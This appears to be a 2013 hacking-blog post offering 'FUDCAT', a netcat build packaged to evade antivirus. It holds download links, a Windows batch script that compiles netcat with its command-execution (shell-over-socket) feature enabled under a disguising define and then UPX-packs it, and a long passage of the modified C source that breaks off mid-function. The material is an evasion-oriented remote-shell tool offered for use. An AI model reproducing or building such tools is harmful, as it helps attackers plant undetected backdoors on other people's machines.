Comments

Tuesday, March 26, 2013

PRiV FUDCAT COMPILING NETCAT FROM SOURCE

Posted by at Tuesday, March 26, 2013 Read our previous post

 

Here is my Priv FUDCAT Zwinkerndes Smiley

I hope you Like Fudcat,and if you like what i do DONATE !!! …

With 1 Click Compiler and Upx Packer.

You Need Only MinGW for Fudcat.

Download MinGW get it Here : http://sourceforge.net/projects/mingw/files/latest/download?source=files

Download Fudcat + Source Code Here :

Priv_fudcat_v1.8_.rar (367 KB)
http://mega.co.nz/#!mdRBCS5Z!Bmx1tg2x9niV0gU9vsxLkRUBW5Rzmd-EwAGxuZzkq7g

http://www.fileupster.com/files/09LKRPY6/Priv_fudcat_v1.8_.rar

Some ScreenShots :

@ECHO off
cls
title [inFo]Fudcat by cr4shy
color f

echo.
ECHO. ..::''''::..
ECHO. .;'' ``;.
ECHO. :: :: :: ::
ECHO. :: :: :: ::
ECHO. :: .:' :: :: `:. ::
ECHO. :: : : ::
ECHO. :: `:. .:' ::
ECHO. `;..``::::''..;'
ECHO. ``::,,,,::''
echo. ------------------------------------------------
echo. ( KILL ALL HUMANS NOOBS! )
echo. ------------------------------------------------
echo. Fudcat by cr4shyyyy
echo.
echo. [inFo] In personal conversations with technical people, I call myself a hacker
echo. [inFo] But when I'm talking to others I just say programmer or something like that
echo. [inFo] Programming is like sex, if you make a mistake you have to support it your whole life!
echo. [inFo] M.Erwin
echo.
echo.
echo.
echo [inFo] Fudcat by cr4shyyy on WIN32 using MinGW
echo [inFo] Relase Date 2013-26-03
echo [inFo] More iNfos on http://security-is-just-an-illusion.blogspot.de/
echo.
echo.
pause

::SET PATHS && COMPILER SETTINGS
SET PATH=%path%;C:\MinGW\bin
SET COMPILER=c:\MinGW\bin\gcc.exe
SET LIB_DIR=c:\MinGW\lib
SET COMPILE_OPTIONS=-c -O2 -D "NDEBUG" -D "WIN32" -D "_CONSOLE" -D "TELNET" -D "WINDOWS_FIREWALL" -FD
::SET COMPILE_OPTIONS=-c -O2 -D "NDEBUG" -D "WIN32" -D "_CONSOLE" -D "TELNET" -FD
::#END FUCK


::DEL OLDSHIT
del *.o
del fudcat.exe
del fudupxcat.exe
echo.
echo.
echo.
::#END

"%COMPILER%" %COMPILE_OPTIONS% getopt.c
"%COMPILER%" %COMPILE_OPTIONS% doexec.c
"%COMPILER%" %COMPILE_OPTIONS% netcat.c
"%COMPILER%" getopt.o doexec.o netcat.o --output fudcat.exe -Wl,-L"%LIB_DIR%",-lkernel32,-luser32,-lwinmm,-lws2_32

::DEL OUTPUT
del *.o
::#END
echo.
echo.
echo.
echo [inFo] Fudupxcat on WIN32 using upx
echo [inFo] Relase Date 2013-26-03
echo [inFo] More iNfos on 'http://security-is-just-an-illusion.blogspot.de/'
echo.
echo.
echo.
::PACK UPX
upx -1 -9 fudcat.exe -o fudupxcat.exe
::END
echo.
echo.
echo.
echo [inFo] Fudcat and Fudupxcat by cr4shyyy on WIN32 by http://security-is-just-an-illusion.blogspot.de/ Done !!!
echo.
echo.
echo.
pause


// for license see license.txt

/* Fudcat by cr4shyyy from http://security-is-just-an-illusion.blogspot.de/
Relase date 26.03.2013
*/

#include "generic.h" /* same as with L5, skey, etc */

#ifdef WIN32

#endif


#define HAVE_BIND /* XXX -- for now, see below... */
#define HAVE_HELP /* undefine if you dont want the help text */
#ifdef HAVE_STDLIB_H
#include <stdlib.h>
#else
#include <malloc.h> /* xxx: or does it live in sys/ ?? */
#endif

/* have to do this *before* including types.h. xxx: Linux still has it wrong */
#ifdef FD_SETSIZE /* should be in types.h, butcha never know. */
#undef FD_SETSIZE /* if we ever need more than 16 active */
#endif /* fd's, something is horribly wrong! */
#ifdef WIN32
#define FD_SETSIZE 64 /* WIN32 does this as an array not a bitfield and it likes 64 */
#else
#define FD_SETSIZE 16 /* <-- this'll give us a long anyways, wtf */
#endif
#include <sys/types.h> /* *now* do it. Sigh, this is broken */


#ifdef WIN32
#undef HAVE_RANDOM
#undef IP_OPTIONS
#undef SO_REUSEPORT
#include <windows.h>
#endif


#ifdef HAVE_RANDOM
#define SRAND srandom
#define RAND random
#else
#define SRAND srand
#define RAND rand
#endif /* HAVE_RANDOM */

/* xxx: these are rsh leftovers, move to new generic.h */
/* will we even need any nonblocking shit? Doubt it. */
/* get FIONBIO from sys/filio.h, so what if it is a compatibility feature */
/* #include <sys/filio.h> */
/*
#include <sys/ioctl.h>
#include <sys/file.h>
*/

/* includes: */

#ifdef WIN32
#include "getopt.h"
#define Sleep Sleep
#define Strcasecmp strcmpi
#define EADDRINUSE WSAEADDRINUSE
#define ETIMEDOUT WSAETIMEDOUT
#define ECONNREFUSED WSAECONNREFUSED
#endif

#ifndef WIN32
#include <sys/time.h> /* timeval, time_t */
#else
#include <time.h>
#endif

#include <setjmp.h> /* jmp_buf et al */

#ifndef WIN32
#include <sys/socket.h> /* basics, SO_ and AF_ defs, sockaddr, ... */
#include <netinet/in.h> /* sockaddr_in, htons, in_addr */
#include <netinet/in_systm.h> /* misc crud that netinet/ip.h references */
#include <netinet/ip.h> /* IPOPT_LSRR, header stuff */
#include <netdb.h> /* hostent, gethostby*, getservby* */
#include <arpa/inet.h> /* inet_ntoa */
#else
#include <fcntl.h>
#include <io.h>
#include <conio.h>
//#include <winsock2.h>
#endif

#include <stdio.h>
#include <string.h> /* strcpy, strchr, yadda yadda */
#include <errno.h>
#include <signal.h>

/* handy stuff: */
#define SA struct sockaddr /* socket overgeneralization braindeath */
#define SAI struct sockaddr_in /* ... whoever came up with this model */
#define IA struct in_addr /* ... should be taken out and shot, */
/* ... not that TLI is any better. sigh.. */
#define SLEAZE_PORT 31337 /* for UDP-scan RTT trick, change if ya want */
#define USHORT unsigned short /* use these for options an' stuff */
#define BIGSIZ 8192 /* big buffers */
#define SMALLSIZ 256 /* small buffers, hostnames, etc */

#ifndef INADDR_NONE
#define INADDR_NONE 0xffffffff
#endif
#ifdef MAXHOSTNAMELEN
#undef MAXHOSTNAMELEN /* might be too small on aix, so fix it */
#endif
#define MAXHOSTNAMELEN 256
struct host_poop {
char name[MAXHOSTNAMELEN]; /* dns name */
char addrs[8][24]; /* ascii-format IP addresses */
struct in_addr iaddrs[8]; /* real addresses: in_addr.s_addr: ulong */
};
#define HINF struct host_poop
struct port_poop {
char name [64]; /* name in /etc/services */
char anum [8]; /* ascii-format number */
USHORT num; /* real host-order number */
};
#define PINF struct port_poop

/* globals: */
jmp_buf jbuf; /* timer crud */
int jval = 0; /* timer crud */
int netfd = -1;
int ofd = 0; /* hexdump output fd */
static char unknown[] = "(UNKNOWN)";
static char p_tcp[] = "tcp"; /* for getservby* */
static char p_udp[] = "udp";

#ifndef WIN32
#ifdef HAVE_BIND
extern int h_errno;
#endif
#endif
int gatesidx = 0; /* LSRR hop count */
int gatesptr = 4; /* initial LSRR pointer, settable */
USHORT Single = 1; /* zero if scanning */
unsigned int insaved = 0; /* stdin-buffer size for multi-mode */
unsigned int wrote_out = 0; /* total stdout bytes */
unsigned int wrote_net = 0; /* total net bytes */
static char wrote_txt[] = " sent %d, rcvd %d";
static char hexnibs[20] = "0123456789abcdef ";

/* will malloc up the following globals: */
struct timeval * timer1 = NULL;
struct timeval * timer2 = NULL;
SAI * lclend = NULL; /* sockaddr_in structs */
SAI * remend = NULL;
HINF ** gates = NULL; /* LSRR hop hostpoop */
char * optbuf = NULL; /* LSRR or sockopts */
char * bigbuf_in; /* data buffers */
char * bigbuf_net;
fd_set * ding1; /* for select loop */
fd_set * ding2;
PINF * portpoop = NULL; /* for getportpoop / getservby* */
unsigned char * stage = NULL; /* hexdump line buffer */

#ifdef WIN32
char * setsockopt_c;
int nnetfd;
#endif

/* global cmd flags: */
USHORT o_alla = 0;
unsigned int o_interval = 0;
USHORT o_listen = 0;
USHORT o_nflag = 0;
USHORT o_wfile = 0;
USHORT o_random = 0;
USHORT o_udpmode = 0;
USHORT o_verbose = 0;
unsigned int o_wait = 0;
USHORT o_zero = 0;

/* Debug macro: squirt whatever to stderr and Sleep a bit so we can see it go
by. need to call like Debug ((stuff)) [with no ; ] so macro args match!
Beware: writes to stdOUT... */
#ifdef DEBUG
#define Debug(x) printf x; printf ("\n"); fflush (stdout); Sleep (1);
#else
#define Debug(x) /* nil... */
#endif

/* support routines -- the bulk of this thing. Placed in such an order that
we don't have to forward-declare anything: */

int helpme(); /* oop */

#ifdef WIN32

/* res_init
winsock needs to be initialized. Might as well do it as the res_init
call for Win32 */

void res_init()
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(1, 1);

err = WSAStartup(wVersionRequested, &wsaData);

if (err != 0)
/* Tell the user that we couldn't find a useable */
/* winsock.dll. */
return;

/* Confirm that the Windows Sockets DLL supports 1.1.*/
/* Note that if the DLL supports versions greater */
/* than 1.1 in addition to 1.1, it will still return */
/* 1.1 in wVersion since that is the version we */
/* requested. */

if ( LOBYTE( wsaData.wVersion ) != 1 ||
HIBYTE( wsaData.wVersion ) != 1 ) {
/* Tell the user that we couldn't find a useable */
/* winsock.dll. */
WSACleanup();
return;
}

}




/* winsockstr
Windows Sockets cannot report errors through perror() so we need to define
our own error strings to print. Someday all the string should be prettied up.
Prettied the errors I usually get */
char * winsockstr(error)
int error;
{
switch (error)
{
case WSAEINTR : return("INTR ");
case WSAEBADF : return("BADF ");
case WSAEACCES : return("ACCES ");
case WSAEFAULT : return("FAULT ");
case WSAEINVAL : return("INVAL ");
case WSAEMFILE : return("MFILE ");
case WSAEWOULDBLOCK : return("WOULDBLOCK ");
case WSAEINPROGRESS : return("INPROGRESS ");
case WSAEALREADY : return("ALREADY ");
case WSAENOTSOCK : return("NOTSOCK ");
case WSAEDESTADDRREQ : return("DESTADDRREQ ");
case WSAEMSGSIZE : return("MSGSIZE ");
case WSAEPROTOTYPE : return("PROTOTYPE ");
case WSAENOPROTOOPT : return("NOPROTOOPT ");
case WSAEPROTONOSUPPORT: return("PROTONOSUPPORT");
case WSAESOCKTNOSUPPORT: return("SOCKTNOSUPPORT");
case WSAEOPNOTSUPP : return("OPNOTSUPP ");
case WSAEPFNOSUPPORT : return("PFNOSUPPORT ");
case WSAEAFNOSUPPORT : return("AFNOSUPPORT ");
case WSAEADDRINUSE : return("ADDRINUSE ");
case WSAEADDRNOTAVAIL : return("ADDRNOTAVAIL ");
case WSAENETDOWN : return("NETDOWN ");
case WSAENETUNREACH : return("NETUNREACH ");
case WSAENETRESET : return("NETRESET ");
case WSAECONNABORTED : return("CONNABORTED ");
case WSAECONNRESET : return("CONNRESET ");
case WSAENOBUFS : return("NOBUFS ");
case WSAEISCONN : return("ISCONN ");
case WSAENOTCONN : return("NOTCONN ");
case WSAESHUTDOWN : return("SHUTDOWN ");
case WSAETOOMANYREFS : return("TOOMANYREFS ");
case WSAETIMEDOUT : return("TIMEDOUT ");
case WSAECONNREFUSED : return("connection refused");
case WSAELOOP : return("LOOP ");
case WSAENAMETOOLONG : return("NAMETOOLONG ");
case WSAEHOSTDOWN : return("HOSTDOWN ");
case WSAEHOSTUNREACH : return("HOSTUNREACH ");
case WSAENOTEMPTY : return("NOTEMPTY ");
case WSAEPROCLIM : return("PROCLIM ");
case WSAEUSERS : return("USERS ");
case WSAEDQUOT : return("DQUOT ");
case WSAESTALE : return("STALE ");
case WSAEREMOTE : return("REMOTE ");
case WSAEDISCON : return("DISCON ");
case WSASYSNOTREADY : return("SYSNOTREADY ");
case WSAVERNOTSUPPORTED: return("VERNOTSUPPORTED");
case WSANOTINITIALISED : return("NOTINITIALISED ");
case WSAHOST_NOT_FOUND : return("HOST_NOT_FOUND ");
case WSATRY_AGAIN : return("TRY_AGAIN ");
case WSANO_RECOVERY : return("NO_RECOVERY ");
case WSANO_DATA : return("NO_DATA ");
default : return("unknown socket error");
}
}
#endif





/* holler :
fake varargs -- need to do this way because we wind up calling through
more levels of indirection than vanilla varargs can handle, and not all
machines have vfprintf/vsyslog/whatever! 6 params oughta be enough. */
void holler (str, p1, p2, p3, p4, p5, p6)
char * str;
char * p1, * p2, * p3, * p4, * p5, * p6;
{
if (o_verbose) {
fprintf (stderr, str, p1, p2, p3, p4, p5, p6);
#ifdef WIN32
if (h_errno)
fprintf (stderr, ": %s\n",winsockstr(h_errno));
#else
if (errno) { /* this gives funny-looking messages, but */
perror (" "); /* it's more portable than sys_errlist[]... */
} /* xxx: do something better. */
#endif
else
fprintf (stderr, "\n");
fflush (stderr);
}
} /* holler */

/* bail :
error-exit handler, callable from anywhere */
void bail (str, p1, p2, p3, p4, p5, p6)
char * str;
char * p1, * p2, * p3, * p4, * p5, * p6;
{
o_verbose = 1;
holler (str, p1, p2, p3, p4, p5, p6);
#ifdef WIN32
shutdown(netfd, 0x02); /* Kirby */
closesocket (netfd);
#else
close (netfd);
#endif
Sleep (1);
exit (1);
} /* bail */

/* catch :
no-brainer interrupt handler */
void catch ()
{
errno = 0;
if (o_verbose > 1) /* normally we don't care */
bail (wrote_txt, wrote_net, wrote_out);

bail (" punt!");
}

/* timeout and other signal handling cruft */
void tmtravel ()
{
#ifdef NTFIXTHIS
signal (SIGALRM, SIG_IGN);
alarm (0);
#endif
if (jval == 0)
bail ("");
longjmp (jbuf, jval);
}



UINT theTimer;

/* arm :
set the timer. Zero secs arg means unarm */
void arm (num, secs)
unsigned int num;
unsigned int secs;
{

#ifdef WIN32
HANDLE stdhnd;
stdhnd = GetStdHandle(STD_OUTPUT_HANDLE);
#ifdef DEBUG
if (stdhnd != INVALID_HANDLE_VALUE)
printf("\n", stdhnd);
else
printf("\n");
#endif
#else
if (secs == 0) { /* reset */
signal (SIGALRM, SIG_IGN);
alarm (0);
jval = 0;
} else { /* set */
signal (SIGALRM, tmtravel);
alarm (secs);
jval = num;
} /* if secs */
#endif /* WIN32 */
} /* arm */

/* Hmalloc :
malloc up what I want, rounded up to *4, and pre-zeroed. Either succeeds
or bails out on its own, so that callers don't have to worry about it. */
char * Hmalloc (size)
unsigned int size;
{
unsigned int s = (size + 4) & 0xfffffffc; /* 4GB?! */
char * p = malloc (s);
if (p != NULL)
memset (p, 0, s);
else
bail ("", s);
return (p);
} /* Hmalloc */

/* findline :
find the next newline in a buffer; return inclusive size of that "line",
or the entire buffer size, so the caller knows how much to then write().
Not distinguishing \n vs \r\n for the nonce; it just works as is... */
unsigned int findline (buf, siz)
char * buf;
unsigned int siz;
{
register char * p;
register int x;
if (! buf) /* various sanity checks... */
return (0);
if (siz > BIGSIZ)
return (0);
x = siz;
for (p = buf; x > 0; x--) {
if (*p == '\n') {
x = (int) (p - buf);
x++; /* 'sokay if it points just past the end! */
Debug (("", x))
return (x);
}
p++;
} /* for */
Debug (("", siz))
return (siz);
} /* findline */

/* comparehosts :
cross-check the host_poop we have so far against new gethostby*() info,
and holler about mismatches. Perhaps gratuitous, but it can't hurt to
point out when someone's DNS is fukt. Returns 1 if mismatch, in case
someone else wants to do something about it. */
int comparehosts (poop, hp)
HINF * poop;
struct hostent * hp;
{
errno = 0;
#ifndef WIN32
h_errno = 0;
#endif
/* The DNS spec is officially case-insensitive, but for those times when you
*really* wanna see any and all discrepancies, by all means define this. */
#ifdef ANAL
if (strcmp (poop->name, hp->h_name) != 0) { /* case-sensitive */
#else
if (strcasecmp (poop->name, hp->h_name) != 0) { /* normal */
#endif
holler ("", poop->name, hp->h_name);
return (1);
}
return (0);
/* ... do we need to do anything over and above that?? */
} /* comparehosts */

/* gethostpoop :
resolve a host 8 ways from sunday; return a new host_poop struct with its
info. The argument can be a name or [ascii] IP address; it will try its
damndest to deal with it. "numeric" governs whether we do any DNS at all,
and we also check o_verbose for what's appropriate work to do. */
HINF * gethostpoop (name, numeric)
char * name;
USHORT numeric;
{
struct hostent * hostent;
struct in_addr iaddr;
register HINF * poop = NULL;
register int x;

/* I really want to strangle the twit who dreamed up all these sockaddr and
hostent abstractions, and then forced them all to be incompatible with
each other so you *HAVE* to do all this ridiculous casting back and forth.
If that wasn't bad enough, all the doc insists on referring to local ports
and addresses as "names", which makes NO sense down at the bare metal.

What an absolutely horrid paradigm, and to think of all the people who
have been wasting significant amounts of time fighting with this stupid
deliberate obfuscation over the last 10 years... then again, I like
languages wherein a pointer is a pointer, what you put there is your own
business, the compiler stays out of your face, and sheep are nervous.
Maybe that's why my C code reads like assembler half the time... */

/* If we want to see all the DNS stuff, do the following hair --
if inet_addr, do reverse and forward with any warnings; otherwise try
to do forward and reverse with any warnings. In other words, as long
as we're here, do a complete DNS check on these clowns. Yes, it slows
things down a bit for a first run, but once it's cached, who cares? */

errno = 0;
#ifndef WIN32
h_errno = 0;
#endif
if (name)
poop = (HINF *) Hmalloc (sizeof (HINF));
if (! poop)
bail ("");
strcpy (poop->name, unknown); /* preload it */
/* see wzv:workarounds.c for dg/ux return-a-struct inet_addr lossage */
iaddr.s_addr = inet_addr (name);

if (iaddr.s_addr == INADDR_NONE) { /* here's the great split: names... */
if (numeric)
bail ("", name);
hostent = gethostbyname (name);
if (! hostent)
/* failure to look up a name is fatal, since we can't do anything with it */
/* XXX: h_errno only if BIND? look up how telnet deals with this */
bail ("", name, h_errno);
strncpy (poop->name, hostent->h_name, sizeof (poop->name));
for (x = 0; hostent->h_addr_list[x] && (x < 8); x++) {
memcpy (&poop->iaddrs[x], hostent->h_addr_list[x], sizeof (IA));
strncpy (poop->addrs[x], inet_ntoa (poop->iaddrs[x]),
sizeof (poop->addrs[0]));
} /* for x -> addrs, part A */
if (! o_verbose) /* if we didn't want to see the */
return (poop); /* inverse stuff, we're done. */
/* do inverse lookups in separate loop based on our collected forward addrs,
since gethostby* tends to crap into the same buffer over and over */
for (x = 0; poop->iaddrs[x].s_addr && (x < 8); x++) {
hostent = gethostbyaddr ((char *)&poop->iaddrs[x],
sizeof (IA), AF_INET);
if ((! hostent) || (! hostent-> h_name))
holler ("",
poop->addrs[x], h_errno);
else
(void) comparehosts (poop, hostent);
} /* for x -> addrs, part B */

} else { /* not INADDR_NONE: numeric addresses... */
memcpy (poop->iaddrs, &iaddr, sizeof (IA));
strncpy (poop->addrs[0], inet_ntoa (iaddr), sizeof (poop->addrs));
if (numeric) /* if numeric-only, we're done */
return (poop);
if (! o_verbose) /* likewise if we don't want */
return (poop); /* the full DNS hair */
hostent = gethostbyaddr ((char *) &iaddr, sizeof (IA), AF_INET);
/* numeric or not, failure to look up a PTR is *not* considered fatal */
if (! hostent)
holler ("", name, h_errno);
else {
strncpy (poop->name, hostent->h_name, MAXHOSTNAMELEN - 2);
hostent = gethostbyname (poop->name);
if ((! hostent) || (! hostent->h_addr_list[0]))
holler ("",
poop->name, h_errno);
else
(void) comparehosts (poop, hostent);
} /* if hostent */
} /* INADDR_NONE Great Split */

/* whatever-all went down previously, we should now have a host_poop struct
with at least one IP address in it. */
#ifndef WIN32
h_errno = 0;
#endif
return (poop);
} /* gethostpoop */

/* getportpoop :
Same general idea as gethostpoop -- look up a port in /etc/services, fill
in global port_poop, but return the actual port *number*. Pass ONE of:
pstring to resolve stuff like "23" or "exec";
pnum to reverse-resolve something that's already a number.
If o_nflag is on, fill in what we can but skip the getservby??? stuff.
Might as well have consistent behavior here... */
USHORT getportpoop (pstring, pnum)
char * pstring;
unsigned int pnum;
{
struct servent * servent;
#ifndef WIN32
register int x;
register int y;
#else
u_short x;
u_short y;
#endif
char * whichp = p_tcp;
if (o_udpmode)
whichp = p_udp;
portpoop->name[0] = '?'; /* fast preload */
portpoop->name[1] = '\0';

/* case 1: reverse-lookup of a number; placed first since this case is much
more frequent if we're scanning */
if (pnum) {
if (pstring) /* one or the other, pleeze */
return (0);
x = pnum;
if (o_nflag) /* go faster, skip getservbyblah */
goto gp_finish;
y = htons (x); /* gotta do this -- see Fig.1 below */
servent = getservbyport (y, whichp);
if (servent) {
y = ntohs (servent->s_port);
if (x != y) /* "never happen" */
holler ("", x, y);
strncpy (portpoop->name, servent->s_name, sizeof (portpoop->name));
} /* if servent */
goto gp_finish;
} /* if pnum */

/* case 2: resolve a string, but we still give preference to numbers instead
of trying to resolve conflicts. None of the entries in *my* extensive
/etc/services begins with a digit, so this should "always work" unless
you're at 3com and have some company-internal services defined... */
if (pstring) {
if (pnum) /* one or the other, pleeze */
return (0);
x = atoi (pstring);
if (x)
return (getportpoop (NULL, x)); /* recurse for numeric-string-arg */
if (o_nflag) /* can't use names! */
return (0);
servent = getservbyname (pstring, whichp);
if (servent) {
strncpy (portpoop->name, servent->s_name, sizeof (portpoop->name));
x = ntohs (servent->s_port);
goto gp_finish;
} /* if servent */
} /* if pstring */

return (0); /* catches any problems so far */

/* Obligatory netdb.h-inspired rant: servent.s_port is supposed to be an int.
Despite this, we still have to treat it as a short when copying it around.
Not only that, but we have to convert it *back* into net order for
getservbyport to work. Manpages generally aren't clear on all this, but
there are plenty of examples in which it is just quietly done. More BSD
lossage... since everything getserv* ever deals with is local to our own
host, why bother with all this network-order/host-order crap at all?!
That should be saved for when we want to actually plug the port[s] into
some real network calls -- and guess what, we have to *re*-convert at that
point as well. Fuckheads. */

gp_finish:
/* Fall here whether or not we have a valid servent at this point, with
x containing our [host-order and therefore useful, dammit] port number */
sprintf (portpoop->anum, "%d", x); /* always load any numeric specs! */
portpoop->num = (x & 0xffff); /* ushort, remember... */
return (portpoop->num);
} /* getportpoop */

/* nextport :
Come up with the next port to try, be it random or whatever. "block" is
a ptr to randports array, whose bytes [so far] carry these meanings:
0 ignore
1 to be tested
2 tested [which is set as we find them here]
returns a USHORT random port, or 0 if all the t-b-t ones are used up. */
USHORT nextport (block)
char * block;
{
register unsigned int x;
register unsigned int y;

y = 70000; /* high safety count for rnd-tries */
while (y > 0) {
x = (RAND() & 0xffff);
if (block[x] == 1) { /* try to find a not-done one... */
block[x] = 2;
break;
}
x = 0; /* bummer. */
y--;
} /* while y */
if (x)
return (x);

y = 65535; /* no random one, try linear downsearch */
while (y > 0) { /* if they're all used, we *must* be sure! */
if (block[y] == 1) {
block[y] = 2;
break;
}
y--;
} /* while y */
if (y)
return (y); /* at least one left */

return (0); /* no more left! */
} /* nextport */

/* loadports :
set "to be tested" indications in BLOCK, from LO to HI. Almost too small
to be a separate routine, but makes main() a little cleaner... */
void loadports (block, lo, hi)
char * block;
USHORT lo;
USHORT hi;
{
USHORT x;

if (! block)
bail ("");
if ((! lo) || (! hi))
bail ("", lo, hi);
x = hi;
while (lo <= x) {
block[x] = 1;
x--;
}
} /* loadports */

#ifdef WINDOWS_FIREWALL
char * pr00gie = NULL; /* global ptr to -e arg */
#ifdef WIN32
BOOL doexec(SOCKET ClientSocket); // this is in doexec.c
#else

/* doexec :
fiddle all the file descriptors around, and hand off to another prog. Sort
of like a one-off "poor man's inetd". This is the only section of code
that would be security-critical, which is why it's ifdefed out by default.
Use at your own hairy risk; if you leave shells lying around behind open
listening ports you deserve to lose!! */
doexec (fd)
int fd;
{
register char * p;

dup2 (fd, 0); /* the precise order of fiddlage */
#ifdef WIN32
shutdown(fd, SD_BOTH); /* Kirby */
closesocket (fd);
#else
close (fd); /* is apparently crucial; this is */
#endif
dup2 (0, 1); /* swiped directly out of "inetd". */
dup2 (0, 2);
p = strrchr (pr00gie, '/'); /* shorter argv[0] */
if (p)
p++;
else
p = pr00gie;
Debug (("", pr00gie, p))
execl (pr00gie, p, NULL);
bail ("", pr00gie); /* this gets sent out. Hmm... */
} /* doexec */
#endif
#endif /* WINDOWS_FIREWALL */

/* doconnect :
do all the socket stuff, and return an fd for one of
an open outbound TCP connection
a UDP stub-socket thingie
with appropriate socket options set up if we wanted source-routing, or
an unconnected TCP or UDP socket to listen on.
Examines various global o_blah flags to figure out what-all to do. */
int doconnect (rad, rp, lad, lp)
IA * rad;
USHORT rp;
IA * lad;
USHORT lp;
{
#ifndef WIN32
register int nnetfd;
#endif
register int rr;
int x, y;

errno = 0;
#ifdef WIN32
WSASetLastError(0);
#endif
/* grab a socket; set opts */
if (o_udpmode)
nnetfd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP);
else
nnetfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (nnetfd < 0)
bail ("");
if (nnetfd == 0) /* might *be* zero if stdin was closed! */
nnetfd = dup (nnetfd); /* so fix it. Leave the old 0 hanging. */
#ifdef WIN32
rr = setsockopt (nnetfd, SOL_SOCKET, SO_REUSEADDR, (const char FAR *)setsockopt_c, sizeof (setsockopt_c));
#else
x = 1;
rr = setsockopt (nnetfd, SOL_SOCKET, SO_REUSEADDR, &x, sizeof (x));
#endif
if (rr == -1)
holler (""); /* ??? */
#ifdef SO_REUSEPORT /* doesnt exist everywhere... */
#ifdef WIN32
rr = setsockopt (nnetfd, SOL_SOCKET, SO_REUSEPORT, &c, sizeof (c));
#else
rr = setsockopt (nnetfd, SOL_SOCKET, SO_REUSEPORT, &x, sizeof (x));
#endif
if (rr == -1)
holler (""); /* ??? */
#endif

/* fill in all the right sockaddr crud */
lclend->sin_family = AF_INET;
remend->sin_family = AF_INET;

/* if lad/lp, do appropriate binding */
if (lad)
memcpy (&lclend->sin_addr.s_addr, lad, sizeof (IA));
if (lp)
lclend->sin_port = htons (lp);
rr = 0;
if (lad || lp) {
x = (int) lp;
/* try a few times for the local bind, a la ftp-data-port... */
for (y = 4; y > 0; y--) {
rr = bind (nnetfd, (SA *)lclend, sizeof (SA));
if (rr == 0)
break;
if (errno != EADDRINUSE)
break;
else {
holler ("", inet_ntoa (lclend->sin_addr), lp);
Sleep (1);
errno = 0; /* clear from Sleep */
} /* if EADDRINUSE */
} /* for y counter */
} /* if lad or lp */
if (rr)
bail ("",
inet_ntoa(lclend->sin_addr), lp);

if (o_listen)
return (nnetfd); /* thanks, that's all for today */

memcpy (&remend->sin_addr.s_addr, rad, sizeof (IA));
remend->sin_port = htons (rp);

/* rough format of LSRR option and explanation of weirdness.
-Option comes after IP-hdr dest addr in packet, padded to *4, and ihl > 5.
-IHL is multiples of 4, i.e. real len = ip_hl << 2.
- type 131 1 ; 0x83: copied, option class 0, number 3
- len 1 ; of *whole* option!
- pointer 1 ; nxt-hop-addr; 1-relative, not 0-relative
- addrlist... var ; 4 bytes per hop-addr
- pad-to-32 var ; ones, i.e. "NOP"
-
-If we want to route A -> B via hops C and D, we must add C, D, *and* B to the
-options list. Why? Because when we hand the kernel A -> B with list C, D, B
-the "send shuffle" inside the kernel changes it into A -> C with list D, B and
-the outbound packet gets sent to C. If B wasn't also in the hops list, the
-final destination would have been lost at this point.
-
-When C gets the packet, it changes it to A -> D with list C', B where C' is
-the interface address that C used to forward the packet. This "records" the
-route hop from B's point of view, i.e. which address points "toward" B. This
-is to make B better able to return the packets. The pointer gets bumped by 4,
-so that D does the right thing instead of trying to forward back to C.
-
-When B finally gets the packet, it sees that the pointer is at the end of the
-LSRR list and is thus "completed". B will then try to use the packet instead
-of forwarding it, i.e. deliver it up to some application.
-
-Note that by moving the pointer yourself, you could send the traffic directly
-to B but have it return via your preconstructed source-route. Playing with
-this and watching "tcpdump -v" is the best way to understand what's going on.
-
-Only works for TCP in BSD-flavor kernels. UDP is a loss; udp_input calls
-stripoptions() early on, and the code to save the srcrt is notdef'ed.
-Linux is also still a loss at 1.3.x it looks like; the lsrr code is { }...
-*/


/* if any -g arguments were given, set up source-routing. We hit this after
the gates are all looked up and ready to rock, any -G pointer is set,
and gatesidx is now the *number* of hops */
if (gatesidx) { /* if we wanted any srcrt hops ... */
/* don't even bother compiling if we can't do IP options here! */
/* #ifdef IP_OPTIONS */
#ifndef WIN32
if (! optbuf) { /* and don't already *have* a srcrt set */
char * opp; /* then do all this setup hair */
optbuf = Hmalloc (48);
opp = optbuf;
*opp++ = IPOPT_LSRR; /* option */
*opp++ = (char)
(((gatesidx + 1) * sizeof (IA)) + 3) & 0xff; /* length */
*opp++ = gatesptr; /* pointer */
/* opp now points at first hop addr -- insert the intermediate gateways */
for ( x = 0; x < gatesidx; x++) {
memcpy (opp, gates[x]->iaddrs, sizeof (IA));
opp += sizeof (IA);
}
/* and tack the final destination on the end [needed!] */
memcpy (opp, rad, sizeof (IA));
opp += sizeof (IA);
*opp = IPOPT_NOP; /* alignment filler */
} /* if empty optbuf */
/* calculate length of whole option mess, which is (3 + [hops] + [final] + 1),
and apply it [have to do this every time through, of course] */
x = ((gatesidx + 1) * sizeof (IA)) + 4;
rr = setsockopt (nnetfd, IPPROTO_IP, IP_OPTIONS, optbuf, x);
if (rr == -1)
bail ("");
#else /* IP_OPTIONS */
holler ("");
#endif /* IP_OPTIONS*/
} /* if gatesidx */

/* wrap connect inside a timer, and hit it */
arm (1, o_wait);
if (setjmp (jbuf) == 0) {
rr = connect (nnetfd, (SA *)remend, sizeof (SA));
} else { /* setjmp: connect failed... */
rr = -1;
#ifdef WIN32
WSASetLastError(WSAETIMEDOUT); /* fake it */
#else
errno = ETIMEDOUT; /* fake it */
#endif
}
arm (0, 0);
if (rr == 0)
return (nnetfd);
#ifdef WIN32
errno = h_errno;
shutdown(nnetfd, 0x02); /* Kirby */
closesocket (nnetfd);
WSASetLastError(errno); /* don't want to lose connect error */
#else
close (nnetfd); /* clean up junked socket FD!! */
#endif
return (-1);
} /* doconnect */

/* dolisten :
just like doconnect, and in fact calls a hunk of doconnect, but listens for
incoming and returns an open connection *from* someplace. If we were
given host/port args, any connections from elsewhere are rejected. This
in conjunction with local-address binding should limit things nicely... */
int dolisten (rad, rp, lad, lp)
IA * rad;
USHORT rp;
IA * lad;
USHORT lp;
{
register int nnetfd;
register int rr;
HINF * whozis = NULL;
int x;
char * cp;
USHORT z;
errno = 0;

/* Pass everything off to doconnect, who in o_listen mode just gets a socket */
nnetfd = doconnect (rad, rp, lad, lp);
if (nnetfd <= 0)
return (-1);
if (o_udpmode) { /* apparently UDP can listen ON */
if (! lp) /* "port 0", but that's not useful */
bail ("");
} else {
